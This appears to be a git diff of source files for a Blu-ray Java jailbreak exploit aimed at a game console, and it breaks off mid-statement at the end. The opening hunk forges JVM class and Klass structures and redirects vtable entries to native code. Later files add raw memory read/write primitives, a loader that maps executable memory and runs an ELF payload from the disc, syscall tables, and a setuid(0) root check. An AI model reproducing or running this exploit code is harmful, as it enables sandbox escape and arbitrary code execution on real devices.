fakeClassAddr = fakeClassOopAddr + Int64.SIZE + ARRAY_BASE_OFFSET; + fakeKlassAddr = fakeClassAddr + 0x100 + ARRAY_BASE_OFFSET; + fakeKlassVtableAddr = fakeKlassAddr + 0x200 + ARRAY_BASE_OFFSET; + + long[] array = new long[1]; + long arrayAddr = addrof(array); + long arrayKlass = read64(arrayAddr + 0x08); + + // Write array headers. + write64(fakeClassOopAddr - 0x18, 1); + write64(fakeClassAddr - 0x18, 1); + write64(fakeKlassAddr - 0x18, 1); + write64(fakeKlassVtableAddr - 0x18, 1); + + write64(fakeClassOopAddr - 0x10, arrayKlass); + write64(fakeClassAddr - 0x10, arrayKlass); + write64(fakeKlassAddr - 0x10, arrayKlass); + write64(fakeKlassVtableAddr - 0x10, arrayKlass); + + write64(fakeClassOopAddr - 8, 0xFFFFFFFF); + write64(fakeClassAddr - 8, 0xFFFFFFFF); + write64(fakeKlassAddr - 8, 0xFFFFFFFF); + write64(fakeKlassVtableAddr - 8, 0xFFFFFFFF); + + long[][] callContextArray = new long[4][0]; + long callContextArrayAddr = addrof(callContextArray) + ARRAY_BASE_OFFSET; + + // Put array addresses into callContextArray. + write64(callContextArrayAddr + 0x00, fakeClassOopAddr - ARRAY_BASE_OFFSET); + write64(callContextArrayAddr + 0x08, fakeClassAddr - ARRAY_BASE_OFFSET); + write64(callContextArrayAddr + 0x10, fakeKlassAddr - ARRAY_BASE_OFFSET); + write64(callContextArrayAddr + 0x18, fakeKlassVtableAddr - ARRAY_BASE_OFFSET); + + // Get fake arrays. + fakeClassOop = callContextArray[0]; + fakeClass = callContextArray[1]; + fakeKlass = callContextArray[2]; + fakeKlassVtable = callContextArray[3]; + + // Restore. + write64(callContextArrayAddr + 0x00, 0); + write64(callContextArrayAddr + 0x08, 0); + write64(callContextArrayAddr + 0x10, 0); + write64(callContextArrayAddr + 0x18, 0); + + if (jdk11) { + fakeClassOop[0x00 / 8] = fakeClassAddr; + fakeClass[0x98 / 8] = fakeKlassAddr; + fakeKlassVtable[0xD8 / 8] = JVM_NativePath; // array_klass + } else { + fakeClassOop[0x00 / 8] = fakeClassAddr; + fakeClass[0x68 / 8] = fakeKlassAddr; + fakeKlassVtable[0x80 / 8] = JVM_NativePath; // array_klass + fakeKlassVtable[0xF0 / 8] = JVM_NativePath; // oop_is_array + } + } + + protected void finalize() { + free(callContextBuffer); + } + } +} diff --git a/src/org/bdj/api/Buffer.java b/src/org/bdj/api/Buffer.java new file mode 100644 index 0000000..1b1df57 --- /dev/null +++ b/src/org/bdj/api/Buffer.java @@ -0,0 +1,101 @@ +/* + * Copyright (C) 2021-2024 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package org.bdj.api; + +public class Buffer { + protected static final API api; + + static { + try { + api = API.getInstance(); + } catch (Exception e) { + throw new ExceptionInInitializerError(e); + } + } + + private final long address; + + private final int size; + + public Buffer(int size) { + this.address = api.calloc(1, size); + this.size = size; + } + + protected void finalize() { + api.free(address); + } + + public long address() { + return address; + } + + public int size() { + return size; + } + + public byte getByte(int offset) { + checkOffset(offset, Int8.SIZE); + return api.read8(address + offset); + } + + public short getShort(int offset) { + checkOffset(offset, Int16.SIZE); + return api.read16(address + offset); + } + + public int getInt(int offset) { + checkOffset(offset, Int32.SIZE); + return api.read32(address + offset); + } + + public long getLong(int offset) { + checkOffset(offset, Int64.SIZE); + return api.read64(address + offset); + } + + public void putByte(int offset, byte value) { + checkOffset(offset, Int8.SIZE); + api.write8(address + offset, value); + } + + public void putShort(int offset, short value) { + checkOffset(offset, Int16.SIZE); + api.write16(address + offset, value); + } + + public void putInt(int offset, int value) { + checkOffset(offset, Int32.SIZE); + api.write32(address + offset, value); + } + + public void putLong(int offset, long value) { + checkOffset(offset, Int64.SIZE); + api.write64(address + offset, value); + } + + public void put(int offset, Buffer buffer) { + checkOffset(offset, buffer.size()); + api.memcpy(address + offset, buffer.address(), buffer.size()); + } + + public void put(int offset, byte[] buffer) { + checkOffset(offset, buffer.length); + api.memcpy(address + offset, buffer, buffer.length); + } + + public void fill(byte value) { + api.memset(address, value, size); + } + + protected void checkOffset(int offset, int length) { + if (offset < 0 || length < 0 || (offset + length) > size) { + throw new IndexOutOfBoundsException(); + } + } +} diff --git a/src/org/bdj/api/Int16.java b/src/org/bdj/api/Int16.java new file mode 100644 index 0000000..9ffea7b --- /dev/null +++ b/src/org/bdj/api/Int16.java @@ -0,0 +1,29 @@ +/* + * Copyright (C) 2021-2024 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package org.bdj.api; + +public final class Int16 extends Buffer { + public static final int SIZE = 2; + + public Int16() { + super(SIZE); + } + + public Int16(short value) { + this(); + set(value); + } + + public short get() { + return getShort(0x00); + } + + public void set(short value) { + putShort(0x00, value); + } +} diff --git a/src/org/bdj/api/Int16Array.java b/src/org/bdj/api/Int16Array.java new file mode 100644 index 0000000..52d897b --- /dev/null +++ b/src/org/bdj/api/Int16Array.java @@ -0,0 +1,22 @@ +/* + * Copyright (C) 2021-2024 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package org.bdj.api; + +public final class Int16Array extends Buffer { + public Int16Array(int length) { + super(length * Int16.SIZE); + } + + public short get(int index) { + return getShort(index * Int16.SIZE); + } + + public void set(int index, short value) { + putShort(index * Int16.SIZE, value); + } +} diff --git a/src/org/bdj/api/Int32.java b/src/org/bdj/api/Int32.java new file mode 100644 index 0000000..273784b --- /dev/null +++ b/src/org/bdj/api/Int32.java @@ -0,0 +1,29 @@ +/* + * Copyright (C) 2021-2024 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package org.bdj.api; + +public final class Int32 extends Buffer { + public static final int SIZE = 4; + + public Int32() { + super(SIZE); + } + + public Int32(int value) { + this(); + set(value); + } + + public int get() { + return getInt(0x00); + } + + public void set(int value) { + putInt(0x00, value); + } +} diff --git a/src/org/bdj/api/Int32Array.java b/src/org/bdj/api/Int32Array.java new file mode 100644 index 0000000..13fbf07 --- /dev/null +++ b/src/org/bdj/api/Int32Array.java @@ -0,0 +1,22 @@ +/* + * Copyright (C) 2021-2024 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package org.bdj.api; + +public final class Int32Array extends Buffer { + public Int32Array(int length) { + super(length * Int32.SIZE); + } + + public int get(int index) { + return getInt(index * Int32.SIZE); + } + + public void set(int index, int value) { + putInt(index * Int32.SIZE, value); + } +} diff --git a/src/org/bdj/api/Int64.java b/src/org/bdj/api/Int64.java new file mode 100644 index 0000000..86680b6 --- /dev/null +++ b/src/org/bdj/api/Int64.java @@ -0,0 +1,29 @@ +/* + * Copyright (C) 2021-2024 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package org.bdj.api; + +public final class Int64 extends Buffer { + public static final int SIZE = 8; + + public Int64() { + super(SIZE); + } + + public Int64(long value) { + this(); + set(value); + } + + public long get() { + return getLong(0x00); + } + + public void set(long value) { + putLong(0x00, value); + } +} diff --git a/src/org/bdj/api/Int64Array.java b/src/org/bdj/api/Int64Array.java new file mode 100644 index 0000000..a0b4bbb --- /dev/null +++ b/src/org/bdj/api/Int64Array.java @@ -0,0 +1,22 @@ +/* + * Copyright (C) 2021-2024 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package org.bdj.api; + +public final class Int64Array extends Buffer { + public Int64Array(int length) { + super(length * Int64.SIZE); + } + + public long get(int index) { + return getLong(index * Int64.SIZE); + } + + public void set(int index, long value) { + putLong(index * Int64.SIZE, value); + } +} diff --git a/src/org/bdj/api/Int8.java b/src/org/bdj/api/Int8.java new file mode 100644 index 0000000..eab2e76 --- /dev/null +++ b/src/org/bdj/api/Int8.java @@ -0,0 +1,29 @@ +/* + * Copyright (C) 2021-2024 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package org.bdj.api; + +public final class Int8 extends Buffer { + public static final int SIZE = 1; + + public Int8() { + super(SIZE); + } + + public Int8(byte value) { + this(); + set(value); + } + + public byte get() { + return getByte(0x00); + } + + public void set(byte value) { + putByte(0x00, value); + } +} diff --git a/src/org/bdj/api/Int8Array.java b/src/org/bdj/api/Int8Array.java new file mode 100644 index 0000000..0ddfa14 --- /dev/null +++ b/src/org/bdj/api/Int8Array.java @@ -0,0 +1,22 @@ +/* + * Copyright (C) 2021-2024 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package org.bdj.api; + +public final class Int8Array extends Buffer { + public Int8Array(int length) { + super(length * Int8.SIZE); + } + + public byte get(int index) { + return getByte(index * Int8.SIZE); + } + + public void set(int index, byte value) { + putByte(index * Int8.SIZE, value); + } +} diff --git a/src/org/bdj/api/NativeInvoke.java b/src/org/bdj/api/NativeInvoke.java new file mode 100644 index 0000000..7c988d5 --- /dev/null +++ b/src/org/bdj/api/NativeInvoke.java @@ -0,0 +1,41 @@ +package org.bdj.api; + +import org.bdj.api.API; +import org.bdj.api.Buffer; + +public class NativeInvoke { + static API api; + static long sceKernelSendNotificationRequestAddr; + + static { + try { + api = API.getInstance(); + sceKernelSendNotificationRequestAddr = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, "sceKernelSendNotificationRequest"); + } catch (Exception e) { + + } + } + + public static int sendNotificationRequest(String msg) { + if (sceKernelSendNotificationRequestAddr == 0) { + return -1; + } + + long size = 0xc30; + Buffer buffer = new Buffer((int)size); + + buffer.fill((byte)0); + buffer.putInt(0x10, -1); + + byte[] msgBytes = msg.getBytes(); + for (int i = 0; i < msgBytes.length && i < (size - 0x2d - 1); i++) { + buffer.putByte(0x2d + i, msgBytes[i]); + } + + buffer.putByte(0x2d + Math.min(msgBytes.length, (int)(size - 0x2d - 1)), (byte)0); + + long res = api.call(sceKernelSendNotificationRequestAddr, 0, buffer.address(), size, 0); + + return (int)res; + } +} \ No newline at end of file diff --git a/src/org/bdj/api/Text.java b/src/org/bdj/api/Text.java new file mode 100644 index 0000000..fcadce6 --- /dev/null +++ b/src/org/bdj/api/Text.java @@ -0,0 +1,22 @@ +/* + * Copyright (C) 2021-2024 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package org.bdj.api; + +public class Text extends Buffer { + private final String text; + + public Text(String text) { + super(text.length() + 1); + this.text = text; + api.strcpy(address(), text); + } + + public String toString() { + return text; + } +} diff --git a/src/org/bdj/api/UnsafeInterface.java b/src/org/bdj/api/UnsafeInterface.java new file mode 100644 index 0000000..b0ec8fc --- /dev/null +++ b/src/org/bdj/api/UnsafeInterface.java @@ -0,0 +1,44 @@ +/* + * Copyright (C) 2021-2024 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package org.bdj.api; + +import java.lang.reflect.Field; + +interface UnsafeInterface { + public byte getByte(long address); + + public short getShort(long address); + + public int getInt(long address); + + public long getLong(long address); + + public long getLong(Object o, long offset); + + public void putByte(long address, byte x); + + public void putShort(long address, short x); + + public void putInt(long address, int x); + + public void putLong(long address, long x); + + public void putObject(Object o, long offset, Object x); + + public long objectFieldOffset(Field f); + + public long allocateMemory(long bytes); + + public long reallocateMemory(long address, long bytes); + + public void freeMemory(long address); + + public void setMemory(long address, long bytes, byte value); + + public void copyMemory(long srcAddress, long destAddress, long bytes); +} diff --git a/src/org/bdj/api/UnsafeSunImpl.java b/src/org/bdj/api/UnsafeSunImpl.java new file mode 100644 index 0000000..5b8127f --- /dev/null +++ b/src/org/bdj/api/UnsafeSunImpl.java @@ -0,0 +1,92 @@ +/* + * Copyright (C) 2021-2024 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package org.bdj.api; + +import java.lang.reflect.Field; +import sun.misc.Unsafe; + +class UnsafeSunImpl implements UnsafeInterface { + private static final String UNSAFE_CLASS_NAME = "sun.misc.Unsafe"; + private static final String THE_UNSAFE_FIELD_NAME = "theUnsafe"; + + private final Unsafe unsafe; + + UnsafeSunImpl() throws Exception { + // Throw exception if class does not exist. + Class.forName(UNSAFE_CLASS_NAME); + + // Get unsafe instance. + Field theUnsafeField = Unsafe.class.getDeclaredField(THE_UNSAFE_FIELD_NAME); + theUnsafeField.setAccessible(true); + unsafe = (Unsafe) theUnsafeField.get(null); + } + + public byte getByte(long address) { + return unsafe.getByte(address); + } + + public short getShort(long address) { + return unsafe.getShort(address); + } + + public int getInt(long address) { + return unsafe.getInt(address); + } + + public long getLong(long address) { + return unsafe.getLong(address); + } + + public long getLong(Object o, long offset) { + return unsafe.getLong(o, offset); + } + + public void putByte(long address, byte x) { + unsafe.putByte(address, x); + } + + public void putShort(long address, short x) { + unsafe.putShort(address, x); + } + + public void putInt(long address, int x) { + unsafe.putInt(address, x); + } + + public void putLong(long address, long x) { + unsafe.putLong(address, x); + } + + public void putObject(Object o, long offset, Object x) { + unsafe.putObject(o, offset, x); + } + + public long objectFieldOffset(Field f) { + return unsafe.objectFieldOffset(f); + } + + public long allocateMemory(long bytes) { + return unsafe.allocateMemory(bytes); + } + + public long reallocateMemory(long address, long bytes) { + return unsafe.reallocateMemory(address, bytes); + } + + public void freeMemory(long address) { + unsafe.freeMemory(address); + } + + public void setMemory(long address, long bytes, byte value) { + unsafe.setMemory(address, bytes, value); + } + + public void copyMemory(long srcAddress, long destAddress, long bytes) { + unsafe.copyMemory(srcAddress, destAddress, bytes); + } +} diff --git a/src/org/bdj/bluray.InitXlet.perm b/src/org/bdj/bluray.InitXlet.perm new file mode 100644 index 0000000..46b5ab4 --- /dev/null +++ b/src/org/bdj/bluray.InitXlet.perm @@ -0,0 +1,12 @@ + + + + + + + + *:* + + + + \ No newline at end of file diff --git a/src/org/bdj/external/BinLoader.java b/src/org/bdj/external/BinLoader.java new file mode 100644 index 0000000..c996807 --- /dev/null +++ b/src/org/bdj/external/BinLoader.java @@ -0,0 +1,337 @@ +package org.bdj.external; + +import java.io.IOException; +import java.io.InputStream; +import java.io.ByteArrayOutputStream; +import java.net.ServerSocket; +import java.net.Socket; +import java.io.File; +import java.io.FileInputStream; + +import org.bdj.api.*; + +public class BinLoader { + // Memory mapping constants + private static final int PROT_READ = 0x1; + private static final int PROT_WRITE = 0x2; + private static final int PROT_EXEC = 0x4; + private static final int MAP_PRIVATE = 0x2; + private static final int MAP_ANONYMOUS = 0x1000; + + // ELF constants + private static final int ELF_MAGIC = 0x464c457f; // 0x7F 'E' 'L' 'F' in little endian + private static final int PT_LOAD = 1; + private static final int PAGE_SIZE = 0x1000; + private static final int MAX_PAYLOAD_SIZE = 4 * 1024 * 1024; // 4MB + + private static final int READ_CHUNK_SIZE = 4096; + + private static final String USBPAYLOAD_RESOURCE = "/disc/BDMV/AUXDATA/aiofix_USBpayload.elf"; + + private static API api; + private static byte[] binData; + private static long mmapBase; + private static long mmapSize; + private static long entryPoint; + private static Thread payloadThread; + + static { + try { + api = API.getInstance(); + } catch (Exception e) { + throw new ExceptionInInitializerError(e); + } + } + + public static void start() { + Thread startThread = new Thread(new Runnable() { + public void run() { + startInternal(); + } + }); + startThread.setName("BinLoader"); + startThread.start(); + } + + private static void startInternal() { + executeEmbeddedPayload(); + } + + private static void executeEmbeddedPayload() { + try { + File payload = new File(USBPAYLOAD_RESOURCE); + FileInputStream fi = new FileInputStream(payload); + byte[] bytes = new byte[fi.available()]; + fi.read(bytes); + fi.close(); + loadFromData(bytes); + run(); + waitForPayloadToExit(); + + } catch (Exception e) { + + } + } + + private static byte[] loadResourcePayload(String resourcePath) throws Exception { + InputStream inputStream = BinLoader.class.getResourceAsStream(resourcePath); + if (inputStream == null) { + throw new RuntimeException("Resource not found: " + resourcePath); + } + + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + byte[] buffer = new byte[READ_CHUNK_SIZE]; + int bytesRead; + int totalRead = 0; + + try { + while ((bytesRead = inputStream.read(buffer)) != -1) { + outputStream.write(buffer, 0, bytesRead); + totalRead += bytesRead; + + // Safety check to prevent excessive resource loading + if (totalRead > MAX_PAYLOAD_SIZE) { + throw new RuntimeException("Resource payload exceeds maximum size: " + MAX_PAYLOAD_SIZE); + } + } + + return outputStream.toByteArray(); + + } finally { + inputStream.close(); + outputStream.close(); + } + } + + public static void loadFromData(byte[] data) throws Exception { + if (data == null) { + throw new IllegalArgumentException("Payload data cannot be null"); + } + + if (data.length == 0) { + throw new IllegalArgumentException("Payload data cannot be empty"); + } + + if (data.length > MAX_PAYLOAD_SIZE) { + throw new IllegalArgumentException("Payload too large: " + data.length + " bytes (max: " + MAX_PAYLOAD_SIZE + ")"); + } + + binData = data; + + // Round up to page boundary with overflow check + long mmapSizeCalc; + try { + mmapSizeCalc = roundUp(data.length, PAGE_SIZE); + if (mmapSizeCalc <= 0 || mmapSizeCalc > MAX_PAYLOAD_SIZE * 2) { + throw new RuntimeException("Invalid mmap size calculation: " + mmapSizeCalc); + } + } catch (ArithmeticException e) { + throw new RuntimeException("Integer overflow in mmap size calculation"); + } + + // Allocate executable memory + int protFlags = PROT_READ | PROT_WRITE | PROT_EXEC; + int mapFlags = MAP_PRIVATE | MAP_ANONYMOUS; + + long ret = Helper.syscall(Helper.SYS_MMAP, 0L, mmapSizeCalc, (long)protFlags, (long)mapFlags, -1L, 0L); + if (ret < 0) { + int errno = api.errno(); + throw new RuntimeException("mmap() failed with error: " + ret + " (errno: " + errno + ")"); + } + + // Validate mmap returned a reasonable address + if (ret == 0 || ret == -1) { + throw new RuntimeException("mmap() returned invalid address: 0x" + Long.toHexString(ret)); + } + + mmapBase = ret; + mmapSize = mmapSizeCalc; + + + try { + // Check if ELF by reading magic bytes + if (data.length >= 4) { + int magic = ((data[3] & 0xFF) << 24) | ((data[2] & 0xFF) << 16) | + ((data[1] & 0xFF) << 8) | (data[0] & 0xFF); + + if (magic == ELF_MAGIC) { + entryPoint = loadElfSegments(data); + } else { + // Copy raw data to allocated memory with bounds checking + if (data.length > mmapSize) { + throw new RuntimeException("Payload size exceeds allocated memory"); + } + api.memcpy(mmapBase, data, data.length); + entryPoint = mmapBase; + } + } else { + throw new RuntimeException("Payload too small (< 4 bytes)"); + } + + // Validate entry point + if (entryPoint == 0) { + throw new RuntimeException("Invalid entry point: 0x0"); + } + if (entryPoint < mmapBase || entryPoint >= mmapBase + mmapSize) { + throw new RuntimeException("Entry point outside allocated memory range: 0x" + Long.toHexString(entryPoint)); + } + + + } catch (Exception e) { + // Cleanup on failure + long munmapResult = Helper.syscall(Helper.SYS_MUNMAP, mmapBase, mmapSize); + if (munmapResult < 0) { + } + mmapBase = 0; + mmapSize = 0; + entryPoint = 0; + throw e; + } + } + + private static long loadElfSegments(byte[] data) throws Exception { + // Create temporary buffer for ELF parsing to avoid header corruption + long tempBuf = Helper.syscall(Helper.SYS_MMAP, 0L, (long)data.length, + (long)(PROT_READ | PROT_WRITE), (long)(MAP_PRIVATE | MAP_ANONYMOUS), -1L, 0L); + if (tempBuf < 0) { + throw new RuntimeException("Failed to allocate temp buffer for ELF parsing"); + } + + try { + // Copy data to temp buffer for parsing + api.memcpy(tempBuf, data, data.length); + + // Read ELF header from temp buffer + ElfHeader elfHeader = readElfHeader(tempBuf); + + // Load program segments directly to final locations + for (int i = 0; i < elfHeader.phNum; i++) { + long phdrAddr = tempBuf + elfHeader.phOff + (i * elfHeader.phEntSize); + ProgramHeader phdr = readProgramHeader(phdrAddr); + + if (phdr.type == PT_LOAD && phdr.memSize > 0) { + // Calculate segment address (use relative offset) + long segAddr = mmapBase + (phdr.vAddr % 0x1000000); + + // Copy segment data from original data array + if (phdr.fileSize > 0) { + byte[] segmentData = new byte[(int)phdr.fileSize]; + System.arraycopy(data, (int)phdr.offset, segmentData, 0, (int)phdr.fileSize); + api.memcpy(segAddr, segmentData, segmentData.length); + } + + // Zero out BSS section + if (phdr.memSize > phdr.fileSize) { + api.memset(segAddr + phdr.fileSize, 0, phdr.memSize - phdr.fileSize); + } + } + } + + return mmapBase + (elfHeader.entry % 0x1000000); + + } finally { + // Clean up temp buffer + Helper.syscall(Helper.SYS_MUNMAP, tempBuf, (long)data.length); + } + } + + public static void run() throws Exception { + // Create Java thread to execute the payload + payloadThread = new Thread(new Runnable() { + public void run() { + try { + // Call the entry point function + long result = api.call(entryPoint); + + } catch (Exception e) { + } + } + }); + + payloadThread.setName("BinPayload"); + payloadThread.start(); + + } + + public static void waitForPayloadToExit() throws Exception { + if (payloadThread != null) { + try { + payloadThread.join(); // Wait for thread to finish + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); // Restore interrupt status + } + } + + // Cleanup allocated memory with validation + if (mmapBase != 0 && mmapSize > 0) { + + try { + long ret = Helper.syscall(Helper.SYS_MUNMAP, mmapBase, mmapSize); + if (ret < 0) { + int errno = api.errno(); + } else { + } + } catch (Exception e) { + } + + // Clear variables to prevent reuse + mmapBase = 0; + mmapSize = 0; + entryPoint = 0; + binData = null; + } else { + + } + + // Clear thread reference + payloadThread = null; + + } + + private static class ElfHeader { + long entry; + long phOff; + int phEntSize; + int phNum; + } + + private static class ProgramHeader { + int type; + long offset; + long vAddr; + long fileSize; + long memSize; + } + + private static ElfHeader readElfHeader(long addr) { + ElfHeader header = new ElfHeader(); + header.entry = api.read64(addr + 0x18); + header.phOff = api.read64(addr + 0x20); + header.phEntSize = api.read16(addr + 0x36) & 0xFFFF; + header.phNum = api.read16(addr + 0x38) & 0xFFFF; + return header; + } + + private static ProgramHeader readProgramHeader(long addr) { + ProgramHeader phdr = new ProgramHeader(); + phdr.type = api.read32(addr + 0x00); + phdr.offset = api.read64(addr + 0x08); + phdr.vAddr = api.read64(addr + 0x10); + phdr.fileSize = api.read64(addr + 0x20); + phdr.memSize = api.read64(addr + 0x28); + return phdr; + } + + private static long roundUp(long value, long boundary) { + if (value < 0 || boundary <= 0) { + throw new IllegalArgumentException("Invalid arguments: value=" + value + ", boundary=" + boundary); + } + + // Check for potential overflow + if (value > Long.MAX_VALUE - boundary) { + throw new ArithmeticException("Integer overflow in roundUp calculation"); + } + + return ((value + boundary - 1) / boundary) * boundary; + } +} \ No newline at end of file diff --git a/src/org/bdj/external/Helper.java b/src/org/bdj/external/Helper.java new file mode 100644 index 0000000..6274fd3 --- /dev/null +++ b/src/org/bdj/external/Helper.java @@ -0,0 +1,577 @@ +package org.bdj.external; + +import org.bdj.api.*; + +public class Helper { + // Constants + public static final int AF_INET = 2; + public static final int AF_INET6 = 28; + public static final int AF_UNIX = 1; + public static final int SOCK_DGRAM = 2; + public static final int SOCK_STREAM = 1; + public static final int IPPROTO_UDP = 17; + public static final int IPPROTO_TCP = 6; + public static final int IPPROTO_IPV6 = 41; + public static final int SOL_SOCKET = 0xffff; + public static final int SO_REUSEADDR = 4; + public static final int SO_LINGER = 0x80; + public static final int TCP_INFO = 0x20; + public static final int TCPS_ESTABLISHED = 4; + + // IPv6 Constants + public static final int IPV6_RTHDR = 51; + public static final int IPV6_TCLASS = 61; + public static final int IPV6_2292PKTOPTIONS = 25; + public static final int IPV6_PKTINFO = 46; + public static final int IPV6_NEXTHOP = 48; + + // AIO Constants + public static final int AIO_CMD_READ = 1; + public static final int AIO_CMD_WRITE = 2; + public static final int AIO_CMD_FLAG_MULTI = 0x1000; + public static final int AIO_CMD_MULTI_READ = AIO_CMD_FLAG_MULTI | AIO_CMD_READ; + public static final int AIO_CMD_MULTI_WRITE = AIO_CMD_FLAG_MULTI | AIO_CMD_WRITE; + public static final int AIO_STATE_COMPLETE = 3; + public static final int AIO_STATE_ABORTED = 4; + public static final int AIO_PRIORITY_HIGH = 3; + public static final int SCE_KERNEL_ERROR_ESRCH = 0x80020003; + public static final int MAX_AIO_IDS = 0x80; + + // CPU and Threading Constants + public static final int CPU_LEVEL_WHICH = 3; + public static final int CPU_WHICH_TID = 1; + public static final int RTP_SET = 1; + public static final int RTP_PRIO_REALTIME = 2; + + // Syscall Numbers + public static final int SYS_READ = 0x3; + public static final int SYS_WRITE = 0x4; + public static final int SYS_OPEN = 0x5; + public static final int SYS_CLOSE = 0x6; + public static final int SYS_GETPID = 0x14; + public static final int SYS_GETUID = 0x18; + public static final int SYS_ACCEPT = 0x1e; + public static final int SYS_PIPE = 0x2a; + public static final int SYS_MPROTECT = 0x4a; + public static final int SYS_SOCKET = 0x61; + public static final int SYS_CONNECT = 0x62; + public static final int SYS_BIND = 0x68; + public static final int SYS_SETSOCKOPT = 0x69; + public static final int SYS_LISTEN = 0x6a; + public static final int SYS_GETSOCKOPT = 0x76; + public static final int SYS_NETGETIFLIST = 0x7d; + public static final int SYS_SOCKETPAIR = 0x87; + public static final int SYS_SYSCTL = 0xca; + public static final int SYS_NANOSLEEP = 0xf0; + public static final int SYS_SIGACTION = 0x1a0; + public static final int SYS_THR_SELF = 0x1b0; + public static final int SYS_CPUSET_GETAFFINITY = 0x1e7; + public static final int SYS_CPUSET_SETAFFINITY = 0x1e8; + public static final int SYS_RTPRIO_THREAD = 0x1d2; + public static final int SYS_EVF_CREATE = 0x21a; + public static final int SYS_EVF_DELETE = 0x21b; + public static final int SYS_EVF_SET = 0x220; + public static final int SYS_EVF_CLEAR = 0x221; + public static final int SYS_IS_IN_SANDBOX = 0x249; + public static final int SYS_DLSYM = 0x24f; + public static final int SYS_DYNLIB_LOAD_PRX = 0x252; + public static final int SYS_DYNLIB_UNLOAD_PRX = 0x253; + public static final int SYS_AIO_MULTI_DELETE = 0x296; + public static final int SYS_AIO_MULTI_WAIT = 0x297; + public static final int SYS_AIO_MULTI_POLL = 0x298; + public static final int SYS_AIO_MULTI_CANCEL = 0x29a; + public static final int SYS_AIO_SUBMIT_CMD = 0x29d; + + public static final int SYS_MUNMAP = 0x49; + public static final int SYS_MMAP = 477; + public static final int SYS_JITSHM_CREATE = 0x215; + public static final int SYS_JITSHM_ALIAS = 0x216; + public static final int SYS_KEXEC = 0x295; + public static final int SYS_SETUID = 0x17; + + public static API api; + private static long libkernelBase; + private static long[] syscallWrappers; + public static Buffer AIO_ERRORS; + private static String firmwareVersion; + + static { + try { + api = API.getInstance(); + syscallWrappers = new long[0x400]; + AIO_ERRORS = new Buffer(4 * MAX_AIO_IDS); + initSyscalls(); + detectFirmwareVersion(); + } catch (Exception e) { + throw new ExceptionInInitializerError(e); + } + } + + public static long getLibkernelBase() { + return libkernelBase; + } + + private static void initSyscalls() throws Exception { + collectInfo(); + findSyscallWrappers(); + + int[] requiredSyscalls = { + SYS_AIO_SUBMIT_CMD, SYS_AIO_MULTI_DELETE, SYS_AIO_MULTI_WAIT, + SYS_AIO_MULTI_POLL, SYS_AIO_MULTI_CANCEL, SYS_SOCKET, + SYS_BIND, SYS_LISTEN, SYS_CONNECT, SYS_ACCEPT, + SYS_SETSOCKOPT, SYS_GETSOCKOPT, SYS_SOCKETPAIR, + SYS_READ, SYS_WRITE, SYS_CLOSE, SYS_OPEN, + SYS_EVF_CREATE, SYS_EVF_DELETE, SYS_EVF_SET, SYS_EVF_CLEAR, + SYS_GETPID, SYS_GETUID, SYS_SYSCTL, SYS_IS_IN_SANDBOX, + SYS_CPUSET_GETAFFINITY, SYS_CPUSET_SETAFFINITY, SYS_RTPRIO_THREAD, + SYS_MUNMAP, SYS_MMAP, SYS_JITSHM_CREATE, SYS_JITSHM_ALIAS, SYS_KEXEC, SYS_SETUID + }; + + boolean allFound = true; + for (int i = 0; i < requiredSyscalls.length; i++) { + int syscall = requiredSyscalls[i]; + if (syscallWrappers[syscall] == 0) { + allFound = false; + } + } + + if (!allFound) { + throw new RuntimeException("Required syscalls not found"); + } + } + + private static void detectFirmwareVersion() { + firmwareVersion = sysctlByName("kern.sdk_version"); + } + + public static String getCurrentFirmwareVersion() { + return firmwareVersion; + } + + private static String sysctlByName(String name) { + Buffer translateNameMib = new Buffer(8); + Buffer mib = new Buffer(0x70); + Buffer size = new Buffer(8); + Buffer resultBuf = new Buffer(8); + Buffer resultSize = new Buffer(8); + + // Setup translate name mib + translateNameMib.putLong(0, 0x300000000L); + size.putLong(0, 0x70); + + // Convert string name to byte array with null terminator + byte[] nameBytes = new byte[name.length() + 1]; + for (int i = 0; i < name.length(); i++) { + nameBytes[i] = (byte)name.charAt(i); + } + nameBytes[name.length()] = 0; + Buffer nameBuffer = new Buffer(nameBytes.length); + nameBuffer.put(0, nameBytes); + + // Translate name to mib + long result = syscall(SYS_SYSCTL, translateNameMib.address(), 2L, + mib.address(), size.address(), + nameBuffer.address(), (long)nameBytes.length); + if (result < 0) { + throw new RuntimeException("Failed to translate sysctl name to mib: " + name); + } + + // Get the actual value + resultSize.putLong(0, 8); + result = syscall(SYS_SYSCTL, mib.address(), 2L, + resultBuf.address(), resultSize.address(), 0L, 0L); + if (result < 0) { + throw new RuntimeException("Failed to get sysctl value for: " + name); + } + + int majorByte = resultBuf.getByte(3) & 0xFF; // Second byte of version data + int minorByte = resultBuf.getByte(2) & 0xFF; // First byte of version data + + String majorHex = Integer.toHexString(majorByte); + String minorHex = Integer.toHexString(minorByte); + if (minorHex.length() == 1) { + minorHex = "0" + minorHex; + } + return majorHex + "." + minorHex; + } + + public static boolean isJailbroken() { + try { + long setuidResult = syscall(SYS_SETUID, 0L); + if (setuidResult == 0) { + return true; + } else { + return false; + } + } catch (Exception e) { + return false; + } + } + + private static void collectInfo() throws Exception { + final int SEGMENTS_OFFSET = 0x160; + long sceKernelGetModuleInfoFromAddr = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, "sceKernelGetModuleInfoFromAddr"); + if (sceKernelGetModuleInfoFromAddr 